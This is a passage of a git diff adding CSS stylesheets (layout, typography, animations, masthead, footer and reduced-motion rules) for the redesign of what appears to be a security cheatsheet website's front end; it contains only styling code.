+ which lands on the same rest state the animation would have reached —
+ so the markup needs no second code path. */
+@media (prefers-reduced-motion: reduce) {
+ *,
+ *::before,
+ *::after {
+ animation-duration: 0.01ms !important;
+ animation-iteration-count: 1 !important;
+ transition-duration: 0.01ms !important;
+ scroll-behavior: auto !important;
+ }
+}
diff --git a/src/styles/daemon.css b/src/styles/daemon.css
@@ -0,0 +1,418 @@
+/* ============================================================================
+ daemon.css — the daemon-sec.xyz form language, ported to the cheatsheet.
+
+ The redesigned home route and the shared chrome (masthead, footer) are
+ re-compositions of the main site's own components: Masthead, SectionHeader,
+ RecordRow, Callout, Footer, the dual-lane marquee, the operator band, the
+ shelves grid and the mirrors band. Every value here is the main site's,
+ translated from its Tailwind classes into plain CSS against the tokens in
+ tokens.css. Nothing hardcodes a colour.
+
+ Measure is 1560px / 44px gutter (`--container-archive`). Paper sections use
+ the theme-relative tokens (--base/--text/--pine…) so they invert with the
+ mode; the dark bands (operator, mirrors, footer, the marquee cap) pin the
+ fixed --color-night-* / --color-signal-* palette and stay dark in both.
+ ========================================================================== */
+
+/* ---- Measure ------------------------------------------------------------- */
+.archive {
+ width: 100%;
+ max-width: var(--container-archive);
+ margin-inline: auto;
+ padding-inline: 44px;
+ box-sizing: border-box;
+}
+@media (max-width: 700px) {
+ .archive { padding-inline: clamp(18px, 5.4vw, 44px); }
+}
+
+/* ---- Shared timing + status animations ----------------------------------- */
+.dmn-tt {
+ transition:
+ background-color 240ms ease, color 200ms ease, border-color 220ms ease,
+ transform 220ms var(--ease-in), padding-left 280ms var(--ease-in), opacity 200ms ease;
+}
+.dmn-anim-pulse { animation: dmn-pulse 2.4s ease-in-out infinite; }
+.dmn-anim-ring { animation: dmn-ring-status 4.2s ease-out infinite; }
+@keyframes dmn-pulse { 0%,100% { opacity: 1; } 50% { opacity: 0.25; } }
+@keyframes dmn-ring-status {
+ 0% { transform: scale(1); opacity: 0.7; }
+ 70%,100% { transform: scale(2.6); opacity: 0; }
+}
+/* A hard terminal-cursor blink — a steps() square wave, not a fade. */
+.dmn-blink {
+ display: inline-block; width: 0.5em; height: 1.05em;
+ transform: translateY(0.12em); background: currentColor;
+ animation: dmn-cursor 1.1s steps(1, end) infinite;
+}
+@keyframes dmn-cursor { 0%,49% { opacity: 1; } 50%,100% { opacity: 0; } }
+@media (prefers-reduced-motion: reduce) {
+ .dmn-anim-pulse, .dmn-anim-ring, .dmn-blink { animation: none; }
+}
+
+/* A 7px status dot with a pulse and an expanding ring pushing out of it. */
+.dmn-dot { position: relative; display: block; width: 7px; height: 7px; }
+.dmn-dot > i, .dmn-dot > u {
+ position: absolute; inset: 0; border-radius: 50%; display: block;
+}
+.dmn-dot > i { background: var(--dot, var(--love)); }
+.dmn-dot > u { border: 1px solid var(--dot, var(--love)); }
+
+/* ============================================================================
+ 1 · MASTHEAD — sticky, wordmark chip, numbered mono nav, status + actions.
+ ========================================================================== */
+.mast {
+ position: sticky; top: 0; z-index: 60;
+ border-bottom: 1px solid color-mix(in srgb, var(--text) 22%, transparent);
+ background: color-mix(in srgb, var(--base) 92%, transparent);
+ backdrop-filter: blur(10px);
+ -webkit-backdrop-filter: blur(10px);
+}
+.mast__row {
+ display: flex; align-items: center; justify-content: space-between;
+ gap: 24px; height: 62px;
+}
+.mast__brand { display: inline-flex; align-items: center; }
+.mast__chip {
+ display: inline-flex; align-items: center; gap: 7px;
+ background: var(--text); color: var(--base);
+ padding: 6px 9px 7px;
+ font-family: var(--font-wordmark); font-weight: 800; font-size: 15px;
+ line-height: 1; letter-spacing: -0.02em; font-stretch: 88%;
+}
+.mast__chip svg { height: 0.72em; width: auto; flex: none; transform: translateY(-0.045em); }
+
+.mast__nav {
+ display: none; align-items: center; gap: 22px;
+ font-family: var(--font-plex); font-size: 10.5px; letter-spacing: 0.18em; text-transform: uppercase;
+}
+@media (min-width: 1024px) { .mast__nav { display: flex; } }
+.mast__navitem { position: relative; display: flex; align-items: baseline; gap: 8px; padding: 6px 0; }
+.mast__navitem .n { font-size: 10px; letter-spacing: 0.1em; color: var(--acc, var(--pine)); }
+.mast__navitem .lbl { display: inline-block; color: var(--subtle); transition: color 200ms ease, transform 200ms var(--ease-in); }
+.mast__navitem:hover .lbl { color: var(--text); transform: translateY(-1px); }
+.mast__navitem[aria-current='page'] .lbl { color: var(--text); }
+.mast__navitem .rule {
+ position: absolute; left: 0; bottom: -2px; height: 1px; width: 100%;
+ background: var(--acc, var(--pine)); transform: scaleX(0); transform-origin: left;
+ transition: transform 260ms var(--ease-in);
+}
+.mast__navitem:hover .rule, .mast__navitem[aria-current='page'] .rule { transform: scaleX(1); }
+
+.mast__actions { display: flex; align-items: center; gap: 14px; }
+.mast__status {
+ display: none; align-items: center; gap: 9px;
+ font-family: var(--font-plex); font-size: 10.5px; letter-spacing: 0.16em; text-transform: uppercase; color: var(--subtle);
+}
+@media (min-width: 1180px) { .mast__status { display: flex; } }
+.mast__icon {
+ display: inline-flex; align-items: center; gap: 7px; color: var(--subtle);
+ transition: color 200ms ease;
+}
+.mast__icon:hover { color: var(--text); }
+.mast__icon svg { width: 15px; height: 15px; }
+.mast__icon kbd {
+ font-family: var(--font-plex); font-size: 10px; letter-spacing: 0.06em;
+ border: 1px solid color-mix(in srgb, var(--text) 30%, transparent); padding: 1px 5px; color: var(--muted);
+}
+.mast__mode .icon-sun { display: inline-flex; }
+.mast__mode .icon-moon { display: none; }
+:root[data-theme='dark'] .mast__mode .icon-sun { display: none; }
+:root[data-theme='dark'] .mast__mode .icon-moon { display: inline-flex; }
+
+.mast__burger {
+ display: inline-flex; flex-direction: column; align-items: center; justify-content: center; gap: 5px;
+ width: 34px; height: 34px; margin-right: -8px;
+}
+@media (min-width: 1024px) { .mast__burger { display: none; } }
+.mast__burger i {
+ display: block; width: 20px; height: 1.5px; background: var(--text);
+ transition: opacity 200ms ease, transform 300ms var(--ease-in);
+}
+.mast__burger[aria-expanded='true'] i:nth-child(1) { transform: translateY(6.5px) rotate(45deg); }
+.mast__burger[aria-expanded='true'] i:nth-child(2) { opacity: 0; }
+.mast__burger[aria-expanded='true'] i:nth-child(3) { transform: translateY(-6.5px) rotate(-45deg); }
+
+.mast__mobile { border-top: 1px solid color-mix(in srgb, var(--text) 14%, transparent); background: var(--base); }
+@media (min-width: 1024px) { .mast__mobile { display: none; } }
+.mast__mobile a {
+ display: flex; align-items: center; gap: 14px;
+ padding: 14px 44px; border-bottom: 1px solid color-mix(in srgb, var(--text) 14%, transparent);
+ font-family: var(--font-plex); font-size: 11px; letter-spacing: 0.18em; text-transform: uppercase; color: var(--subtle);
+ transition: padding-left 260ms var(--ease-in), color 200ms ease;
+}
+.mast__mobile a:hover { padding-left: 50px; color: var(--text); }
+.mast__mobile a .n { font-size: 10px; color: var(--acc, var(--pine)); }
+.mast__mobile a .arrow { margin-left: auto; color: var(--acc, var(--pine)); }
+
+/* ============================================================================
+ 2 · SECTION HEADER — three columns: mono eyebrow, oversized head, intro.
+ ========================================================================== */
+.sec-head {
+ display: grid; gap: 40px; align-items: start;
+ grid-template-columns: minmax(0, 0.6fr) minmax(0, 1.6fr) minmax(0, 1fr);
+}
+@media (max-width: 1023px) { .sec-head { grid-template-columns: 1fr; gap: 16px; } }
+.sec-head__eyebrow {
+ padding-top: 10px; font-family: var(--font-plex); font-size: 10.5px;
+ letter-spacing: 0.18em; text-transform: uppercase; color: var(--tone, var(--pine));
+}
+.sec-head__title {
+ margin: 0; font-family: var(--font-archivo); font-weight: 800;
+ font-size: clamp(46px, 6vw, 92px); line-height: 0.86; letter-spacing: -0.04em;
+ font-stretch: 88%; text-transform: uppercase; color: var(--tone, var(--text)); text-wrap: balance;
+}
+.sec-head__intro {
+ margin: 2px 0 0; max-width: 36ch; font-family: var(--font-archivo);
+ font-size: 15px; line-height: 1.55; color: var(--intro, var(--subtle)); text-wrap: pretty;
+}
+
+/* Section wrapper — centred measure, top rhythm. */
+.dsection { margin-inline: auto; width: 100%; max-width: var(--container-archive); padding: 96px 44px 0; box-sizing: border-box; }
+@media (max-width: 700px) { .dsection { padding: 72px clamp(18px, 5.4vw, 44px) 0; } }
+
+/* ============================================================================
+ 3 · RECORD ROW — one line, paper wash on hover (titles stay ink, ≥4.5:1),
+ excerpt disclosure. Rule #6: paper wash, never the solid ink wipe.
+ ========================================================================== */
+.rec {
+ position: relative; display: block; color: var(--text);
+ border-bottom: 1px solid color-mix(in srgb, var(--text) 22%, transparent);
+ padding: 22px 28px;
+ background-image: linear-gradient(to right, var(--overlay) 50%, transparent 50%);
+ background-size: 200% 100%; background-position: 100% 0; background-repeat: no-repeat;
+ transition: background-position 260ms var(--ease-in);
+}
+.rec:hover, .rec:focus-visible { background-position: 0 0; }
+.rec__grid {
+ display: grid; align-items: center;
+ grid-template-columns: 34px minmax(0, 1fr) auto; gap: 6px 18px;
+}
+@media (min-width: 768px) {
+ .rec__grid { grid-template-columns: 46px 118px minmax(0, 1fr) 112px 20px; gap: 8px 18px; }
+}
+.rec__n { grid-column: 1; grid-row: 1; font-family: var(--font-plex); font-size: 10px; letter-spacing: 0.16em; text-transform: uppercase; color: var(--iris); }
+.rec__kind {
+ grid-column: 2; grid-row: 2; display: flex; align-items: center; gap: 8px;
+ font-family: var(--font-plex); font-size: 10px; letter-spacing: 0.14em; text-transform: uppercase; color: var(--acc, var(--foam));
+}
+.rec__kind svg { width: 11px; height: 11px; }
+@media (min-width: 768px) { .rec__kind { grid-column: 2; grid-row: 1; } }
+.rec__title { grid-column: 2; grid-row: 1; min-width: 0; font-family: var(--font-archivo); font-size: 17px; line-height: 1.3; font-weight: 600; }
+@media (min-width: 768px) { .rec__title { grid-column: 3; } }
+.rec__date { display: none; font-family: var(--font-plex); font-size: 10px; letter-spacing: 0.12em; color: var(--subtle); }
+@media (min-width: 768px) { .rec__date { display: block; grid-column: 4; grid-row: 1; } }
+.rec__arrow { grid-column: 3; grid-row: 1; justify-self: end; font-size: 11px; line-height: 1; color: var(--subtle); }
+.rec__arrow svg { width: 13px; height: 13px; }
+@media (min-width: 768px) { .rec__arrow { grid-column: 5; } }
+.rec__reveal {
+ grid-column: 1 / -1; grid-row: 3; display: grid; grid-template-rows: 0fr; opacity: 0;
+ transition: grid-template-rows 380ms var(--ease-in), opacity 240ms ease;
+}
+@media (min-width: 768px) { .rec__reveal { grid-column: 3 / 4; grid-row: 2; } }
+.rec__reveal > * { min-height: 0; overflow: hidden; }
+.rec:hover .rec__reveal, .rec:focus-within .rec__reveal { grid-template-rows: 1fr; opacity: 1; }
+.rec__reveal > * > * { display: block; }
+.rec__excerpt { display: block; max-width: 62ch; padding-top: 10px; font-family: var(--font-archivo); font-size: 13.5px; line-height: 1.5; color: var(--subtle); text-wrap: pretty; }
+.rec__tagline { display: block; padding-top: 8px; font-family: var(--font-plex); font-size: 10px; letter-spacing: 0.14em; text-transform: uppercase; color: var(--muted); }
+@media (hover: none) { .rec__reveal { grid-template-rows: 1fr; opacity: 1; } }
+@media (prefers-reduced-motion: reduce) { .rec, .rec__reveal { transition: none; } }
+
+/* ============================================================================
+ 4 · MANIFEST BAND — dual-lane counter-scrolling marquee + inverse cap.
+ ========================================================================== */
+@keyframes vaultLane { from { transform: translateX(0); } to { transform: translateX(-50%); } }
+@keyframes vaultLaneRev { from { transform: translateX(-50%); } to { transform: translateX(0); } }
+.vault-lanes {
+ display: grid; grid-template-columns: 1fr auto; overflow: hidden;
+ background: var(--base);
+ border-top: 1px solid var(--text); border-bottom: 1px solid var(--text);
+}
+.vault-lanes__body { display: grid; grid-template-rows: 56px 34px; overflow: hidden; }
+.vault-lane-wrap { position: relative; overflow: hidden; }
+.vault-lane-wrap--top { border-bottom: 1px solid color-mix(in srgb, var(--text) 16%, transparent); }
+.vault-lane { display: flex; align-items: center; height: 56px; width: max-content; animation: vaultLane 50s linear infinite; }
+.vault-lane-rev { display: flex; align-items: center; height: 34px; width: max-content; animation: vaultLaneRev 80s linear infinite; }
+.vault-lanes:hover .vault-lane, .vault-lanes:hover .vault-lane-rev { animation-play-state: paused; }
+.vault-title { display: flex; align-items: center; gap: 16px; height: 56px; padding: 0 34px; white-space: nowrap; }
+.vault-title .n { font-family: var(--font-plex); font-size: 12px; letter-spacing: 0.12em; padding: 3px 7px; background: var(--acc, var(--iris)); color: var(--base); }
+.vault-title .t { font-family: var(--font-archivo); font-weight: 800; font-size: 30px; letter-spacing: -0.02em; line-height: 1; text-transform: uppercase; color: var(--text); }
+.vault-meta { display: flex; align-items: center; gap: 12px; height: 34px; padding: 0 26px; white-space: nowrap; font-family: var(--font-plex); font-size: 12px; letter-spacing: 0.1em; text-transform: uppercase; }
+.vault-meta .tag { color: var(--acc, var(--iris)); letter-spacing: 0.14em; }
+.vault-meta .tx { color: var(--muted); }
+.vault-meta .sep { color: var(--muted); margin-left: 10px; }
+.vault-cap {
+ display: flex; flex-direction: column; justify-content: center; gap: 6px; padding: 0 26px; white-space: nowrap;
+ background: var(--color-night-base); color: var(--color-signal-meta);
+ font-family: var(--font-plex); font-size: 12px; letter-spacing: 0.14em; text-transform: uppercase;
+}
+.vault-cap .verified { display: flex; align-items: center; gap: 8px; color: var(--color-night-subtle); }
+.vault-cap .verified i { width: 7px; height: 7px; border-radius: 4px; background: var(--color-night-pine); display: inline-block; }
+@media (prefers-reduced-motion: reduce) { .vault-lane, .vault-lane-rev { animation: none; } }
+@media (max-width: 640px) { .vault-cap { display: none; } .vault-lanes { grid-template-columns: 1fr; } }
+
+/* ============================================================================
+ 5 · OPERATOR BAND — dark plate: grid texture, chips, terminal readout, rail.
+ ========================================================================== */
+.operator {
+ position: relative; isolation: isolate; overflow: hidden;
+ background: var(--color-night-base); color: var(--color-night-text); padding: 92px 0 84px;
+}
+.operator__grid {
+ position: absolute; inset: 0; pointer-events: none;
+ background-image:
+ linear-gradient(color-mix(in srgb, var(--color-night-text) 5%, transparent) 1px, transparent 1px),
+ linear-gradient(90deg, color-mix(in srgb, var(--color-night-text) 5%, transparent) 1px, transparent 1px);
+ background-size: 64px 64px;
+}
+.operator__inner { position: relative; z-index: 2; }
+.operator__cols { margin-top: 56px; display: grid; grid-template-columns: minmax(0, 1fr) minmax(320px, 420px); gap: 48px; align-items: center; }
+@media (max-width: 900px) { .operator__cols { grid-template-columns: 1fr; gap: 36px; } }
+.op-chips { display: flex; flex-wrap: wrap; gap: 10px; font-family: var(--font-plex); font-size: 10px; letter-spacing: 0.16em; text-transform: uppercase; }
+.op-chip { display: flex; align-items: center; gap: 8px; padding: 6px 11px; border: 1px solid color-mix(in srgb, var(--chip, var(--color-night-iris)) 55%, transparent); color: var(--chip, var(--color-night-iris)); }
+.op-chip .pip { width: 6px; height: 6px; border-radius: 3px; background: var(--chip, var(--color-night-iris)); }
+.op-readout { margin-top: 36px; max-width: 56ch; font-family: var(--font-plex); font-size: 12.5px; line-height: 1.6; }
+.op-readout__cmd { display: flex; align-items: center; gap: 8px; color: var(--color-night-muted); }
+.op-readout__cmd .u { color: var(--color-night-pine); }
+.op-readout__cmd .c { color: var(--color-night-text); }
+.op-readout dl { margin: 14px 0 0; display: grid; grid-template-columns: 5rem 1fr; gap: 7px 20px; border-top: 1px solid color-mix(in srgb, var(--color-night-text) 20%, transparent); padding-top: 14px; color: var(--color-night-subtle); }
+.op-readout dt { color: var(--color-night-muted); }
+.op-readout dd { margin: 0; }
+.op-readout .on { color: var(--color-night-gold); }
+.op-rail { border: 1px solid color-mix(in srgb, var(--color-night-text) 30%, transparent); background: var(--color-night-surface); padding: 22px 26px 26px; }
+.op-rail__eyebrow { font-family: var(--font-plex); font-size: 10.5px; letter-spacing: 0.2em; text-transform: uppercase; color: var(--color-night-pine); }
+.op-search { margin-top: 14px; display: flex; align-items: center; gap: 12px; width: 100%; border: 1px solid color-mix(in srgb, var(--color-night-text) 30%, transparent); padding: 12px 14px; font-family: var(--font-plex); text-align: left; }
+.op-search:hover { border-color: color-mix(in srgb, var(--color-night-text) 55%, transparent); }
+.op-search .slash { color: var(--color-night-foam); font-size: 13px; }
+.op-search .ph { flex: 1; color: var(--color-night-subtle); font-size: 13px; }
+.op-search kbd { font-size: 10px; letter-spacing: 0.1em; color: var(--color-night-muted); border: 1px solid color-mix(in srgb, var(--color-night-text) 30%, transparent); padding: 2px 6px; }
+.op-stats { margin: 18px 0 0; display: grid; grid-template-columns: repeat(3, 1fr); gap: 16px 20px; border-top: 1px solid color-mix(in srgb, var(--color-night-text) 30%, transparent); padding-top: 16px; font-family: var(--font-plex); font-size: 11px; line-height: 1.6; letter-spacing: 0.14em; text-transform: uppercase; color: var(--color-night-text); }
+.op-stats dd { margin: 0; }
+.op-cta-list { margin-top: 18px; display: flex; flex-direction: column; gap: 10px; font-family: var(--font-plex); font-size: 11px; letter-spacing: 0.18em; text-transform: uppercase; }
+.op-cta { display: flex; align-items: center; gap: 16px; padding: 15px 20px; color: var(--color-night-base); background: var(--cta, var(--color-night-pine)); transition: background-color 220ms ease; }
+.op-cta .count { margin-left: auto; opacity: 0.7; letter-spacing: 0.14em; }
+.op-cta--pine:hover { background: var(--color-night-text); }
+.op-cta--text { background: var(--color-night-text); }
+.op-cta--text:hover { background: var(--color-night-pine); }
+.op-cta--love { background: var(--color-night-love); }
+.op-cta--love:hover { background: var(--color-night-text); }
+
+/* ============================================================================
+ 6 · INDEX — filter pills + record rows + show-more + footer meta.
+ ========================================================================== */
+.filters { margin-top: 62px; display: flex; flex-wrap: wrap; align-items: center; gap: 10px; }
+.pill {
+ cursor: pointer; border: 1px solid var(--text); padding: 13px 20px;
+ font-family: var(--font-plex); font-size: 10.5px; letter-spacing: 0.18em; text-transform: uppercase;
+ background: transparent; color: var(--text);
+ transition: transform 200ms var(--ease-in), background-color 200ms ease, color 200ms ease;
+}
+.pill:hover { transform: translateY(-3px); background: var(--text); color: var(--base); }
+.pill[aria-pressed='true'] { background: var(--text); color: var(--base); }
+.filters__count { margin-left: auto; font-family: var(--font-plex); font-size: 10px; letter-spacing: 0.16em; text-transform: uppercase; color: var(--iris); }
+.index-list { margin-top: 26px; border-top: 1px solid var(--text); }
+.rec[hidden] { display: none; }
+.show-more {
+ display: flex; width: 100%; align-items: center; justify-content: space-between;
+ border: 0; border-bottom: 1px solid color-mix(in srgb, var(--text) 22%, transparent); background: transparent;
+ padding: 24px 28px; font-family: var(--font-plex); font-size: 10.5px; letter-spacing: 0.18em; text-transform: uppercase; color: var(--text);
+ transition: background-color 220ms ease, color 200ms ease;
+}
+.show-more:hover { background: var(--text); color: var(--base); }
+.index-foot { display: flex; justify-content: space-between; padding: 26px 28px 0; font-family: var(--font-plex); font-size: 10px; letter-spacing: 0.16em; text-transform: uppercase; color: var(--iris); }
+.index-foot a { color: var(--iris); }
+
+/* ============================================================================
+ 7 · SHELVES GRID — 4-col hairline grid of the taxonomy.
+ ========================================================================== */
+.shelves-grid {
+ margin-top: 62px; display: grid; grid-template-columns: repeat(4, 1fr);
+ border-top: 1px solid var(--text); border-left: 1px solid var(--text);
+}
+@media (max-width: 900px) { .shelves-grid { grid-template-columns: repeat(2, 1fr); } }
+@media (max-width: 520px) { .shelves-grid { grid-template-columns: 1fr; } }
+.shelf {
+ display: flex; flex-direction: column; justify-content: space-between; gap: 36px;
+ min-height: 150px; padding: 18px 20px; box-sizing: border-box; color: var(--text);
+ border-right: 1px solid var(--text); border-bottom: 1px solid var(--text);
+ transition: background-color 200ms ease;
+}
+.shelf:hover { background: var(--panel); }
+.shelf__top { display: flex; justify-content: space-between; font-family: var(--font-plex); font-size: 10px; letter-spacing: 0.16em; text-transform: uppercase; color: var(--acc, var(--pine)); }
+.shelf__title { font-family: var(--font-archivo); font-weight: 900; font-size: 21px; line-height: 1.15; letter-spacing: -0.02em; font-stretch: 86%; text-transform: uppercase; text-wrap: pretty; }
+
+/* ============================================================================
+ 8 · MIRRORS BAND — signal plate: borrowed trees + upstream manifest panel.
+ ========================================================================== */
+.mirrors {
+ position: relative; margin-top: 100px; overflow: hidden;
+ background: var(--color-signal-plate); color: var(--color-night-text); padding: 88px 0;
+}
+.mirrors__scrim {
+ position: absolute; inset: 0; pointer-events: none;
+ background: linear-gradient(180deg,
+ color-mix(in srgb, var(--color-signal-plate) 93%, transparent) 0%,
+ color-mix(in srgb, var(--color-signal-plate) 62%, transparent) 34%,
+ color-mix(in srgb, var(--color-signal-plate) 58%, transparent) 66%,
+ color-mix(in srgb, var(--color-signal-plate) 90%, transparent) 100%);
+}
+.mirrors__inner { position: relative; display: grid; grid-template-columns: 1fr 1fr; gap: 56px 64px; }
+@media (max-width: 900px) { .mirrors__inner { grid-template-columns: 1fr; } }
+.mirrors__eyebrow { font-family: var(--font-plex); font-size: 10.5px; letter-spacing: 0.18em; text-transform: uppercase; color: var(--color-signal-meta); }
+.mirrors__title { margin: 14px 0 0; font-family: var(--font-archivo); font-weight: 800; font-size: clamp(46px, 6vw, 92px); line-height: 0.86; letter-spacing: -0.04em; font-stretch: 88%; text-transform: uppercase; }
+.mirrors__body { margin: 20px 0 0; max-width: 46ch; font-family: var(--font-archivo); font-size: 15px; line-height: 1.6; color: var(--color-night-text); text-wrap: pretty; }
+.mirrors__dl { margin: 32px 0 0; display: grid; grid-template-columns: repeat(4, 1fr); gap: 20px 40px; font-family: var(--font-plex); font-size: 10px; letter-spacing: 0.16em; text-transform: uppercase; }
+.mirrors__dl dt { color: var(--color-signal-meta); }
+.mirrors__dl dd { margin: 8px 0 0; color: var(--color-plate-ink); }
+.mirrors__chip { display: inline-flex; border: 1px solid color-mix(in srgb, var(--color-night-love) 55%, transparent); padding: 3px 8px; color: var(--color-night-love-lift); }
+.mirrors__cta { margin-top: 36px; display: inline-flex; align-items: center; gap: 12px; border: 1px solid var(--color-night-text); padding: 16px 24px; font-family: var(--font-plex); font-size: 11px; letter-spacing: 0.2em; text-transform: uppercase; color: var(--color-night-text); transition: background-color 220ms ease, color 200ms ease; }
+.mirrors__cta:hover { background: var(--color-night-text); color: var(--color-signal-plate); }
+.mirror-panel { border: 1px solid color-mix(in srgb, var(--color-night-love) 34%, transparent); background: color-mix(in srgb, var(--color-signal-plate) 42%, transparent); }
+.mirror-panel__head { display: flex; justify-content: space-between; border-bottom: 1px solid color-mix(in srgb, var(--color-night-love) 28%, transparent); padding: 14px 20px; font-family: var(--font-plex); font-size: 10.5px; letter-spacing: 0.22em; text-transform: uppercase; color: var(--color-night-love); }
+.mirror-panel__head .lic { color: var(--color-signal-dim); }
+.mirror-row { display: grid; grid-template-columns: 34px 1fr 90px; align-items: center; gap: 12px; border-bottom: 1px solid color-mix(in srgb, var(--color-night-love) 14%, transparent); padding: 14px 20px; font-family: var(--font-plex); font-size: 11.5px; }
+.mirror-row .n { color: var(--color-signal-meta); }
+.mirror-row .path { color: var(--color-night-text); }
+.mirror-row .count { color: var(--color-signal-dim); text-align: right; }
+
+/* ============================================================================
+ 9 · CALLOUT — flat plate, 2px accent rule, mono eyebrow.
+ ========================================================================== */
+.dcallout { border-left: 2px solid var(--tone, var(--pine)); background: var(--surface); padding: 18px 20px; }
+.dcallout__label { margin-bottom: 9px; display: flex; align-items: center; gap: 10px; font-family: var(--font-plex); font-size: 10px; letter-spacing: 0.18em; text-transform: uppercase; color: var(--tone, var(--pine)); }
+.dcallout__label svg { width: 13px; height: 13px; }
+.dcallout__body { font-family: var(--font-archivo); font-size: 15px; line-height: 1.6; color: var(--text); text-wrap: pretty; }
+
+/* ============================================================================
+ 10 · HERO — the host the loop mounts into. The loop sets its own inner
+ styles inline (canvas ≥1280px, fluid flow below); this is the frame.
+ ========================================================================== */
+.hero-loop { position: relative; width: 100%; overflow: hidden; background: var(--base); min-height: 560px; }
+.hero-loop a { color: inherit; text-decoration: none; }
+
+/* ============================================================================
+ 11 · FOOTER — the page's closing dark band, on the signal plate.
+ ========================================================================== */
+.dfooter { position: relative; overflow: hidden; background: var(--color-signal-plate); color: var(--color-night-text); }
+.dfooter__scrim {
+ position: absolute; inset: 0; pointer-events: none;
+ background: linear-gradient(180deg,
+ color-mix(in srgb, var(--color-signal-plate) 92%, transparent) 0%,
+ color-mix(in srgb, var(--color-signal-plate) 55%, transparent) 30%,
+ color-mix(in srgb, var(--color-signal-plate) 50%, transparent) 62%,
+ color-mix(in srgb, var(--color-signal-plate) 86%, transparent) 100%);
+}
+.dfooter__inner { position: relative; padding-top: 56px; padding-bottom: 64px; }
+.dfooter__grid { display: grid; gap: 48px 44px; grid-template-columns: repeat(auto-fit, minmax(230px, 1fr)); }
+.dfooter__wordmark { font-family: var(--font-wordmark); font-weight: 800; letter-spacing: -0.025em; font-stretch: 80%; line-height: 0.88; font-size: clamp(40px, 5vw, 74px); color: var(--color-plate-ink); white-space: nowrap; }
+.dfooter__wordmark .hy { color: var(--color-night-love); }
+.dfooter__motto { margin-top: 20px; max-width: 32ch; font-family: var(--font-archivo); font-size: 15px; line-height: 1.55; color: var(--color-night-text); text-wrap: pretty; }
+.dfooter__nav { display: grid; grid-template-columns: repeat(2, 1fr); gap: 14px 24px; align-self: start; font-family: var(--font-plex); font-size: 11px; letter-spacing: 0.14em; text-transform: uppercase; }
+.dfooter__nav a { display: flex; gap: 12px; color: var(--color-plate-ink); transition: padding-left 280ms var(--ease-in), color 200ms ease; }
+.dfooter__nav a:hover { padding-left: 6px; color: var(--color-night-foam); }
+.dfooter__nav a .n { color: var(--acc, var(--color-night-foam)); }
+.dfooter__meta { align-self: start; font-family: var(--font-plex); font-size: 10px; letter-spacing: 0.16em; text-transform: uppercase; color: var(--color-signal-meta); }
+.dfooter__meta .live { display: flex; align-items: center; gap: 10px; color: var(--color-plate-ink); }
+.dfooter__meta .row { margin-top: 10px; }
+.dfooter__meta a { color: var(--color-signal-meta); }
+.dfooter__meta a:hover { color: var(--color-night-foam); }
diff --git a/src/styles/global.css b/src/styles/global.css
@@ -0,0 +1,1102 @@
+/* ============================================================================
+ Base elements, layout, chrome, and components.
+ Built out of the objects in chrome.css. Nothing here rounds a corner,
+ blurs a background, or casts a shadow — see the form-language note at
+ the top of tokens.css for why.
+ ========================================================================== */
+
+*, *::before, *::after { box-sizing: border-box; }
+* { margin: 0; }
+
+html {
+ color-scheme: light;
+ scroll-behavior: smooth;
+ scroll-padding-top: 82px;
+ -webkit-text-size-adjust: 100%;
+}
+:root[data-theme='dark'] { color-scheme: dark; }
+
+body {
+ font-family: var(--font-body);
+ font-size: var(--step-0);
+ line-height: 1.6;
+ color: var(--fg);
+ background: var(--bg);
+ min-height: 100vh;
+ -webkit-font-smoothing: antialiased;
+ text-rendering: optimizeLegibility;
+ overflow-x: hidden;
+}
+
+::selection { background: var(--selection); }
+
+a { color: inherit; text-decoration: none; }
+img, svg { display: block; max-width: 100%; }
+button { font: inherit; color: inherit; cursor: pointer; background: none; border: none; }
+
+h1, h2, h3, h4 {
+ font-family: var(--font-display);
+ font-weight: 700;
+ line-height: 1.06;
+ letter-spacing: -0.02em;
+}
+
+/* Square, like everything else — a rounded focus ring on a square page
+ reads as a rendering artefact rather than as focus. */
+:focus-visible {
+ outline: 2px solid var(--accent);
+ outline-offset: 2px;
+}
+
+/* Page content sits above the grain film. */
+main, .site-header, .site-footer { position: relative; z-index: 2; }
+
+/* Script adds these hooks only after the content is ready, which prevents a
+ failed bundle from leaving the archive invisible. The tiny lateral drift
+ keeps the entrance in the site's terminal/register language rather than a
+ generic card float. */
+@media (prefers-reduced-motion: no-preference) {
+ .scroll-reveal {
+ opacity: 0;
+ transform: translate3d(-8px, 22px, 0);
+ filter: blur(2px);
+ transition:
+ opacity 540ms cubic-bezier(0.22, 0.61, 0.36, 1) var(--reveal-delay, 0ms),
+ transform 620ms var(--ease-in) var(--reveal-delay, 0ms),
+ filter 460ms ease var(--reveal-delay, 0ms);
+ will-change: opacity, transform, filter;
+ }
+ .scroll-reveal.is-revealed {
+ opacity: 1;
+ transform: translate3d(0, 0, 0);
+ filter: blur(0);
+ will-change: auto;
+ }
+}
+
+.scroll-progress {
+ position: fixed;
+ z-index: 90;
+ inset: 0 0 auto;
+ height: 2px;
+ pointer-events: none;
+ background: linear-gradient(90deg, var(--pine), var(--iris), var(--love));
+ transform: scaleX(var(--scroll-progress, 0));
+ transform-origin: 0 50%;
+}
+@media (prefers-reduced-motion: no-preference) {
+ .scroll-progress { transition: transform 90ms linear; }
+}
+
+/* ---- Layout -------------------------------------------------------------- */
+.wrap {
+ width: 100%;
+ max-width: var(--maxw);
+ margin-inline: auto;
+ padding-inline: clamp(1.15rem, 3.2vw, 2.75rem);
+}
+/* Full-bleed: a band breaks the measure and runs edge to edge, but its
+ *contents* return to it. This is the page's basic rhythm — paper on the
+ measure, bands across the whole width. */
+.bleed { width: 100%; }
+.stack > * + * { margin-top: var(--gap, 1rem); }
+.accent-text { color: var(--accent); }
+
+/* ---- Masthead ------------------------------------------------------------ */
+/* Opaque, not frosted: the bar has to hold its own value against whatever
+ scrolls under it, and on this page that is as often a dark band as it is
+ cream. A translucent bar over a passing band inverts mid-scroll. */
+.site-header {
+ position: sticky;
+ top: 0;
+ z-index: 60;
+ border-bottom: 1px solid var(--fg);
+ background: var(--base);
+}
+/* The `.segbar` object (chrome.css) draws a `border-block`; the header sits
+ flush with the viewport top, where that top hairline reads as a stray line
+ above the bar — keep the bottom rule only. */
+.site-header.segbar { border-top: none; }
+/* No gaps inside the bar: the brand/nav split is carried by the auto margin
+ on `.mast-nav`, and the segments within each cluster sit flush so the
+ hairlines `.seg + .seg` draws are the only dividers — tmux, not a row of
+ boxed buttons. */
+.site-header .wrap {
+ display: flex;
+ align-items: stretch;
+ gap: 0;
+ min-height: 58px;
+}
+
+/* The wordmark segment of the status bar. Noto Sans Display — heavy,
+ compressed, uppercase, tracked tight — is the daemon-sec signature face;
